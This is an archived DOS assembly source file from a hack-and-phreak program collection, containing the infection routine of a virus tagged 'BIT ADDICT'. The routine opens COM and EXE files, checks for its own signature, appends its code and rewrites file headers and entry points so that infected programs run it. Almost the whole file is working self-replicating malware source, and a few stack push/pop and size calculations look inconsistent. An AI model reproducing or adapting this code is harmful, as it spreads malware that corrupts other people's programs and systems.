home *** CD-ROM | disk | FTP | other *** search
/ Collection of Hack-Phreak Scene Programs / cleanhpvac.zip / cleanhpvac / SOURCE.ZIP / ADDICT2.ASM < prev    next >
Assembly Source File  |  1995-01-03  |  5KB  |  252 lines

  1. jmpc    macro   Dest
  2.     local   Skip
  3.  
  4.     jnc     Skip
  5.     jmp     Dest
  6. Skip:
  7.     endm
  8.  
  9. jmpnc   macro   Dest
  10.     local   Skip
  11.  
  12.     jc      Skip
  13.     jmp     Dest
  14. Skip:
  15.     endm
  16.  
  17. jmpe    macro   Dest
  18.     local   Skip
  19.  
  20.     jnz     Skip
  21.     jmp     Dest
  22. Skip:
  23.     endm
  24.  
  25. jmpne   macro   Dest
  26.     local   Skip
  27.  
  28.     jz      Skip
  29.     jmp     Dest
  30. Skip:
  31.     endm
  32.  
  33. code segment
  34.     assume  cs:code,ds:code,es:code
  35.     org     0
  36.  
  37. ID              db      'BIT ADDICT'
  38. ID_Length       equ     $-offset ID
  39.  
  40. SavedCode       equ     this byte
  41. OldIP           dw      0
  42. OldCS           dw      0
  43. OldSP           dw      0
  44. OldSS           dw      0
  45.         dw      0
  46.  
  47. Begin:  mov     ax,4c00h
  48.     int     21h
  49.  
  50. ComHeader:
  51.     mov     ax,cs
  52.     add     ax,0100h
  53. OldPrgSize      equ     this word-2
  54.     push    ax
  55.     xor     ax,ax
  56.     push    ax
  57.     retf
  58.  
  59. Infect: push    ax
  60.     push    bx
  61.     push    cx
  62.     push    cx
  63.     push    si
  64.     push    di
  65.     push    bp
  66.     push    ds
  67.     push    es
  68.     mov     ax,3d02h
  69.     int     21h
  70.     jmpc    Close
  71.     push    cs
  72.     pop     ds
  73.     push    cs
  74.     pop     es
  75.     mov     bx,ax
  76.     mov     ah,3fh
  77.     mov     cx,HeaderLength
  78.     lea     dx,Header
  79.     int     21h
  80.     jmpc    Close
  81.     cmp     ax,HeaderLength
  82.     jne     ComFile
  83.     cmp     Signature,5a4dh
  84.     je      ComChk
  85. ExeChk: mov     ax,ExeCS
  86.     add     ax,HeaderSize
  87.     mov     dx,10h
  88.     mul     dx
  89.     mov     cx,dx
  90.     mov     dx,ax
  91.     jmp     Check
  92. ComChk: xor     cx,cx
  93.     mov     dx,NearJump
  94.     sub     dx,offset Begin-3
  95.     jb      ComFile
  96. Check:  mov     ax,4200h
  97.     int     21h
  98.     mov     ah,3fh
  99.     mov     cx,ID_Length
  100.     lea     dx,ID_Check
  101.     int     21h
  102.     lea     si,ID_Check
  103.     lea     di,ID
  104.     mov     cx,ID_Length
  105.     repe    cmpsb
  106.     jmpe    Close
  107.     cmp     Signature,5a4dh
  108.     je      ExeFile
  109. ComFile:mov     si,offset Header
  110.     mov     di,offset SavedCode
  111.     mov     cx,0ah
  112.     rep     movsb
  113.     mov     ax,4202h
  114.     xor     cx,cx
  115.     xor     dx,dx
  116.     int     21h
  117.     mov     cx,10h
  118.     div     cx
  119.     or      dx,dx
  120.     je      Ok1
  121.     push    ax
  122.     mov     ah,40h
  123.     mov     cx,10h
  124.     sub     cx,dx
  125.     xor     dx,dx
  126.     int     21h
  127.     pop     ax
  128.     jc      Close
  129.     inc     ax
  130. Ok1:    add     ax,10h
  131.     mov     OldPrgSize,ax
  132.     mov     ah,40h
  133.     mov     cx,CodeSize1
  134.     xor     dx,dx
  135.     int     21h
  136.     jmpc    Close
  137.     mov     ax,4200h
  138.     xor     cx,cx
  139.     xor     dx,dx
  140.     int     21h
  141.     jmpc    Close
  142.     mov     ah,40h
  143.     mov     cx,10
  144.     mov     dx,offset ComHeader
  145.     int     21h
  146.     jmp     Close
  147. ExeFile:mov     ax,ExeIP
  148.     mov     OldIP,ax
  149.     mov     ax,ExeCS
  150.     mov     OldCS,ax
  151.     mov     ax,ExeSP
  152.     mov     OldSP,ax
  153.     mov     ax,ExeSS
  154.     mov     OldSS,ax
  155.     mov     ax,PageCount
  156.     dec     ax
  157.     mov     cx,200h
  158.     mul     cx
  159.     add     ax,PartPage
  160.     adc     dx,0
  161.     mov     cx,dx
  162.     mov     dx,ax
  163.     mov     ax,4200h
  164.     int     21h
  165.     mov     cx,10h
  166.     div     cx
  167.     or      dx,dx
  168.     je      Ok2
  169.     push    ax
  170.     mov     ah,40h
  171.     mov     cx,10h
  172.     sub     cx,dx
  173.     xor     dx,dx
  174.     int     21h
  175.     pop     ax
  176.     jc      Close
  177.     inc     ax
  178. Ok2:    sub     ax,HeaderSize
  179.     mov     ExeCS,ax
  180.     mov     ExeIP,offset Begin
  181.     add     ax,CodeSizePara2
  182.     mov     ExeSS,ax
  183.     mov     ExeSP,200h
  184.     mov     ax,MinMem
  185.     cmp     ax,20h+CodeSizePara2-CodeSizePara1
  186.     jae     Ok3
  187.     mov     ax,20h
  188. Ok3:    mov     MinMem,ax
  189.     mov     ax,PartPage
  190.     add     ax,offset CodeSize2
  191.     xor     dx,dx
  192.     mov     cx,200h
  193.     div     cx
  194.     add     PageCount,ax
  195.     mov     PartPage,dx
  196.     mov     ah,40h
  197.     mov     cx,offset CodeSize1
  198.     xor     dx,dx
  199.     int     21h
  200.     jc      Close
  201.     mov     ax,4200h
  202.     xor     cx,cx
  203.     xor     dx,dx
  204.     int     21h
  205.     jc      Close
  206.     mov     ah,40h
  207.     mov     cx,HeaderLength
  208.     mov     dx,offset Header
  209.     int     21h
  210. Close:  mov     ah,3eh
  211.     int     21h
  212.     pop     es
  213.     pop     ds
  214.     pop     di
  215.     pop     si
  216.     pop     dx
  217.     pop     cx
  218.     pop     bx
  219.     pop     ax
  220.     iret
  221.  
  222. CodeSize1       equ     $
  223. CodeSizePara1   equ     ($+0fh) / 4
  224.  
  225. Header          dw      14h dup(?)
  226. NearJump        equ     Header[1h]              ; Com file
  227.  
  228. Signature       equ     Header[0h]              ; Exe file
  229. PartPage        equ     Header[2h]
  230. PageCount       equ     Header[4h]
  231. ReloCount       equ     Header[6h]
  232. HeaderSize      equ     Header[8h]
  233. MinMem          equ     Header[0ah]
  234. MaxMem          equ     Header[0ch]
  235. ExeSS           equ     Header[0eh]
  236. ExeSP           equ     Header[10h]
  237. ChkSum          equ     Header[12h]
  238. ExeIP           equ     Header[14h]
  239. ExeCS           equ     Header[16h]
  240. TablOfs         equ     Header[18h]
  241. OverlayNr       equ     Header[1ah]
  242. HeaderLength    equ     1ch
  243.  
  244. ID_Check        db      ID_Length dup(?)
  245.  
  246. CodeSize2       equ     $
  247. CodeSizePara2   equ     ($+0fh) shr 4
  248.  
  249. code ends
  250.  
  251. end
  252.